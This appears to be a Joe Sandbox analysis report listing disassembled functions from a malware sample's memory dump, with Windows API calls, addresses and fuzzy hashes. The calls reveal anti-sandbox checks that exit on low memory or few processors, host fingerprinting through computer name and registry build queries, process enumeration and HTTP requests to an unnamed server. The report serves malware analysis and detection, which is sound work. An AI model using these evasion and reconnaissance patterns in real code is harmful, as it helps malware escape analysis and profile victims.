Part of subcall function 00417A70: GetComputerNameA.KERNEL32(?,00000104), ref: 00417ABF

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,007DD5A0,?,004210F4,?,00000000,?,004210F8,?,00000000,00420AF3), ref: 00416D6A
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00416D88
CloseHandle.KERNEL32(00000000), ref: 00416D99
Sleep.KERNEL32(00001770), ref: 00416DA4
CloseHandle.KERNEL32(?,00000000,?,007DD5A0,?,004210F4,?,00000000,?,004210F8,?,00000000,00420AF3), ref: 00416DBA
ExitProcess.KERNEL32 ref: 00416DC2

Memory Dump Source

Source File: 00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1570179444.00000000004E6000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000004EE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000511000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000514000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.000000000051B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000526000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000006E8000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$AllocUserlstrcpy$CloseDefaultEventHandleName__aulldiv$ComputerCreateCurrentGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 3511611419-0
Opcode ID: 32fb34536166014d7c58d27a16746fd28ebf0fa137deb214c181cbfce6898861
Instruction ID: 27cf1f4c78a26a12fad1801110170cb785a0876a7ac7b1f74ab5ff3c6832b849
Opcode Fuzzy Hash: 32fb34536166014d7c58d27a16746fd28ebf0fa137deb214c181cbfce6898861
Instruction Fuzzy Hash: CB315E30A05104ABCB04FBF1EC56BEE7379AF44314F50492FF11266196EF786A85C66E

Function 00404800 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 60stringnetworkCOMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(00000800), ref: 0040483A
??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404851
??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404868
lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

Strings

<, xrefs: 00404819

Memory Dump Source

Source File: 00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1570179444.00000000004E6000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000004EE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000511000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000514000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.000000000051B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000526000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000006E8000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: ??2@$CrackInternetlstrlen
String ID: <
API String ID: 1683549937-4251816714
Opcode ID: 994daec21f0517629ae22a04d51c011e227e96814832a9a45039b376b6c0c140
Instruction ID: 160db8237089610cf3963e488d7c28046b69bb3d6c402c1973a99714a059ae02
Opcode Fuzzy Hash: 994daec21f0517629ae22a04d51c011e227e96814832a9a45039b376b6c0c140
Instruction Fuzzy Hash: 9F2149B1D00219ABDF14DFA5EC4AADD7B75FF04320F008229F925A7290EB706A19CF95

Function 00417820 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417834
HeapAlloc.KERNEL32(00000000), ref: 0041783B
RegOpenKeyExA.KERNEL32(80000002,007DACD0,00000000,00020119,00000000), ref: 0041786D
RegQueryValueExA.KERNEL32(00000000,007E5508,00000000,00000000,?,000000FF), ref: 0041788E
RegCloseKey.ADVAPI32(00000000), ref: 00417898

Strings

Windows 11, xrefs: 0041784D

Memory Dump Source

Source File: 00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1570179444.00000000004E6000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000004EE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000511000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000514000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.000000000051B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000526000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000006E8000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3466090806-2517555085
Opcode ID: ece6f01e7d5fd4039499d2cf589e258aec5fff7bd7b06dda1c9cbde8cad395cd
Instruction ID: 90abcce2ecfc2a5b8cd512a74185dd25ab23219ddadcc09848e79f4871c60c5e
Opcode Fuzzy Hash: ece6f01e7d5fd4039499d2cf589e258aec5fff7bd7b06dda1c9cbde8cad395cd
Instruction Fuzzy Hash: FD01A274E09304BBEB00DBE4ED49FAE7779EF48700F00419AFA04A7290E7749A40CB55

Function 004178B0 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 004178C4
HeapAlloc.KERNEL32(00000000), ref: 004178CB
RegOpenKeyExA.KERNEL32(80000002,007DACD0,00000000,00020119,00417849), ref: 004178EB
RegQueryValueExA.KERNEL32(00417849,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 0041790A
RegCloseKey.ADVAPI32(00417849), ref: 00417914

Strings

CurrentBuildNumber, xrefs: 00417901

Memory Dump Source

Source File: 00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1570179444.00000000004E6000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000004EE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000511000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000514000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.000000000051B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000526000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000006E8000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3466090806-1022791448
Opcode ID: 14ae58864b366c4003c6da9e1b5cfb2a16c067edbf69ef05e192f5cb5c601d9e
Instruction ID: 4c9302de3449b24d107dc6acc84b9b99571be3b3dcaa7f8b3677a924de38e7e6
Opcode Fuzzy Hash: 14ae58864b366c4003c6da9e1b5cfb2a16c067edbf69ef05e192f5cb5c601d9e
Instruction Fuzzy Hash: 51014FB5E45309BBEB00DBE4DC4AFAEB779EF44700F10459AF605A6281E774AA408B91

Function 00401220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0040123E
__aulldiv.LIBCMT ref: 00401258
__aulldiv.LIBCMT ref: 00401266
ExitProcess.KERNEL32 ref: 00401294

Strings

@, xrefs: 00401233

Memory Dump Source

Source File: 00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1570179444.00000000004E6000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000004EE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000511000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000514000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.000000000051B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000526000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000006E8000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: 878a90f34e096d30e7d89448c69a574e23fa6b892c1598a4a852eafceae412f3
Instruction ID: 198c605b63268064c6e3321c907f2861ebf30c0b4d659eb8408d118d522d9ff8
Opcode Fuzzy Hash: 878a90f34e096d30e7d89448c69a574e23fa6b892c1598a4a852eafceae412f3
Instruction Fuzzy Hash: 88014BF0D44308BAEB10DFE0DD4ABAEBB78AB14705F20849EE604B62D0D6785581875D

Function 00417F90 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417FC7
HeapAlloc.KERNEL32(00000000), ref: 00417FCE
RegOpenKeyExA.KERNEL32(80000002,007DB1A0,00000000,00020119,?), ref: 00417FEE
RegQueryValueExA.KERNEL32(?,007E5E18,00000000,00000000,000000FF,000000FF), ref: 0041800F
RegCloseKey.ADVAPI32(?), ref: 00418022

Memory Dump Source

Source File: 00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1570179444.00000000004E6000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000004EE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000511000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000514000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.000000000051B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000526000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000006E8000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID:
API String ID: 3466090806-0
Opcode ID: 7a9c0ba5048ddb27ec33de3f8be0389340df971bddb9b3c1683f2c2c2fb7b9da
Instruction ID: 7366865410052b2090c980cb0782fc53e6cc971cacc9a0cbb18d91746b71e1a2
Opcode Fuzzy Hash: 7a9c0ba5048ddb27ec33de3f8be0389340df971bddb9b3c1683f2c2c2fb7b9da
Instruction Fuzzy Hash: 981151B1E45209EBD700CF94DD45FBFBBB9EB48B11F10421AF615A7280E77959048BA2

Function 00416D93 Relevance: 6.0, APIs: 4, Instructions: 30sleepCOMMON

Download Yara Rule

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,007DD5A0,?,004210F4,?,00000000,?,004210F8,?,00000000,00420AF3), ref: 00416D6A
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00416D88
CloseHandle.KERNEL32(00000000), ref: 00416D99
Sleep.KERNEL32(00001770), ref: 00416DA4
CloseHandle.KERNEL32(?,00000000,?,007DD5A0,?,004210F4,?,00000000,?,004210F8,?,00000000,00420AF3), ref: 00416DBA
ExitProcess.KERNEL32 ref: 00416DC2

Memory Dump Source

Source File: 00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1570179444.00000000004E6000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000004EE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000511000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000514000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.000000000051B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000526000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000006E8000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: d5e1fa89fe7d5108738a6f3c91913c7127e375a878f495bce87c5ec22f141b40
Instruction ID: 8f12dcb365d2fb80f233d5f720f30c8ba2b1eb9bf2b810d0bdce41a90926edfe
Opcode Fuzzy Hash: d5e1fa89fe7d5108738a6f3c91913c7127e375a878f495bce87c5ec22f141b40
Instruction Fuzzy Hash: 46F08230B48219EFEB00BBA0EC0ABFE7375AF04705F15061BB516A51D0DBB89681CA5B

Function 00415440 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

Part of subcall function 0041AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0041AAF6

Part of subcall function 004062D0: InternetOpenA.WININET(00420DFF,00000001,00000000,00000000,00000000), ref: 00406331
Part of subcall function 004062D0: StrCmpCA.SHLWAPI(?,007E6F18), ref: 00406353
Part of subcall function 004062D0: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406385
Part of subcall function 004062D0: HttpOpenRequestA.WININET(00000000,GET,?,007E65E8,00000000,00000000,00400100,00000000), ref: 004063D5
Part of subcall function 004062D0: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 0040640F
Part of subcall function 004062D0: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00406421

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00415478

Strings

ERROR, xrefs: 0041546A
ERROR, xrefs: 004154C3

Memory Dump Source

Source File: 00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1570179444.00000000004E6000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000004EE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000511000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000514000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.000000000051B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000526000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000006E8000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: 243c3ba6e4d083e298a404233cb39cc9641087610bb8f65c24bf72cb52f6143f
Instruction ID: 220a7b172e2a8d17d187597bbcd3bb12c7c2fc56be07e285a6b23909b802432f
Opcode Fuzzy Hash: 243c3ba6e4d083e298a404233cb39cc9641087610bb8f65c24bf72cb52f6143f
Instruction Fuzzy Hash: 6E118630A01048ABCB14FF65EC52EED33399F50354F40456EF90A5B4A2EF38AB95C65E

Function 00417A70 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00416CCB), ref: 00417AA0
HeapAlloc.KERNEL32(00000000,?,?,?,00416CCB), ref: 00417AA7
GetComputerNameA.KERNEL32(?,00000104), ref: 00417ABF

Memory Dump Source

Source File: 00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1570179444.00000000004E6000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000004EE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000511000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000514000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.000000000051B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000526000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000006E8000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: Heap$AllocComputerNameProcess
String ID:
API String ID: 4203777966-0
Opcode ID: bd395e3c10b2e9752f846d4f55ec5ddb2c88ed80ced139acaed9e3128f7bbde2
Instruction ID: 80df14e24d55d9e77394b8c0389cbc6422d62e125eda11eaf6ba37d1415b345b
Opcode Fuzzy Hash: bd395e3c10b2e9752f846d4f55ec5ddb2c88ed80ced139acaed9e3128f7bbde2
Instruction Fuzzy Hash: D60181B1E08359ABC700CF98DD45BAFBBB8FB04751F10021BF505E2280E7B85A408BA2

Function 00419600 Relevance: 4.5, APIs: 3, Instructions: 29COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,?), ref: 00419614
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00419635
CloseHandle.KERNEL32(00000000), ref: 0041963F

Memory Dump Source

Source File: 00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1570179444.00000000004E6000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000004EE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000511000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000514000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.000000000051B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000526000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000006E8000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID:
API String ID: 3183270410-0
Opcode ID: 38bec2c2861d1061a7e63eb7caa5b35248e167512e01a3ac08b79c0d7adc0fad
Instruction ID: 8add19ce2c94a4db983c162c5ea883653429c1f160fd421327fd5bffa921fc45
Opcode Fuzzy Hash: 38bec2c2861d1061a7e63eb7caa5b35248e167512e01a3ac08b79c0d7adc0fad
Instruction Fuzzy Hash: 95F03A7490120CEFDB14DBA4DD4AFEA7778BB08300F004599FA1997280E6B06E84CB95

Function 00401110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000,?,?,00416CBC), ref: 0040112B
VirtualAllocExNuma.KERNEL32(00000000,?,?,00416CBC), ref: 00401132
ExitProcess.KERNEL32 ref: 00401143

Memory Dump Source

Source File: 00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1570179444.00000000004E6000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000004EE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000511000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000514000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.000000000051B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000526000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000006E8000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: 11ea4e03c837496306c88658afd9ed440fb44e3d5b70bdcdd02673fa8ef340ef
Instruction ID: f86d798d442288df0e099431c712f1cdbed5da6d4770a056b1c254158006f616
Opcode Fuzzy Hash: 11ea4e03c837496306c88658afd9ed440fb44e3d5b70bdcdd02673fa8ef340ef
Instruction Fuzzy Hash: DCE0E670D8A30CFBE7105BA19D0AB4D77689B04B15F101156F709BA5D0D6B92640565D

Function 004081C0 Relevance: 3.1, APIs: 2, Instructions: 93COMMON

Download Yara Rule

APIs

construct.LIBCPMTD ref: 00408249
construct.LIBCPMTD ref: 004082A2

Memory Dump Source

Source File: 00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1570179444.00000000004E6000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000004EE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000511000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000514000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.000000000051B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000526000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000006E8000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: construct
String ID:
API String ID: 1526029037-0
Opcode ID: 73bd98543fb279f424338f9ea48bd7048099ceaa695af1d65f43e0d9dfaac789
Instruction ID: 123d62ed26d3ca744d86ae38fdfb23cb53ed74b1cdaeb689de717995a969af63
Opcode Fuzzy Hash: 73bd98543fb279f424338f9ea48bd7048099ceaa695af1d65f43e0d9dfaac789
Instruction Fuzzy Hash: 783130B5A00104FFCB04DB94C591D5EFBB6AF88308F1481ADE549AB386DB35EE81CB94

Function 023307A6 Relevance: 3.0, APIs: 2, Instructions: 41processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 023307CE
Module32First.KERNEL32(00000000,00000224), ref: 023307EE

Memory Dump Source

Source File: 00000007.00000002.1570852602.0000000002330000.00000040.00001000.00020000.00000000.sdmp, Offset: 02330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2330000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 2239a461e99e7d68c2c0d896a63f1cce2133684d5e6b90204747874feb058564
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 95F090322017156FE7353BF9A88CB6F76E8AF49669F100628E643910C0DBB0EA458E61

Function 02490E0F Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000400,?,?,02490223,?,?), ref: 02490E19
SetErrorMode.KERNEL32(00000000,?,?,02490223,?,?), ref: 02490E1E

Memory Dump Source

Source File: 00000007.00000002.1570994482.0000000002490000.00000040.00001000.00020000.00000000.sdmp, Offset: 02490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2490000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: 222b95ba1efed397dc51e845e48fe434b558f4b478ecd050a5280b6dec76a593
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: 20D0123514512877DB002A94DC09BCE7F1CDF05B66F008011FB0DD9180C770954046E5

Function 00401160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,00416CB7,00420AF3), ref: 0040116A
ExitProcess.KERNEL32 ref: 0040117E

Memory Dump Source

Source File: 00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1570179444.00000000004E6000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000004EE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000511000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000514000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.000000000051B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000526000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000006E8000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: 0911bb23926965f42d7cc1f5d35b7be77a6f2882a7c2442a84db88c73d1ba697
Instruction ID: 7de8415141d8ede1392e5156f4839a36e98c975bb62c62673ce2cce929d499c4
Opcode Fuzzy Hash: 0911bb23926965f42d7cc1f5d35b7be77a6f2882a7c2442a84db88c73d1ba697
Instruction Fuzzy Hash: 9ED05E74D0530DABCB04DFE09D496DDBB79BB0C315F041656DD0572240EA305441CA66

Function 004010A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004,?,?,?,0040114E,?,?,00416CBC), ref: 004010B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0,?,?,?,0040114E,?,?,00416CBC), ref: 004010F7

Memory Dump Source

Source File: 00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1570179444.00000000004E6000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000004EE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000511000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000514000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.000000000051B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000526000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000006E8000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 4ccb3339a7f6084aabfd7cf6baf65b53e8baa26228d10618978cb16090ab9117
Instruction ID: a2dd58c0224e163af538114889642f36ecbeef109afe3d50a53e5cb7169f74e2
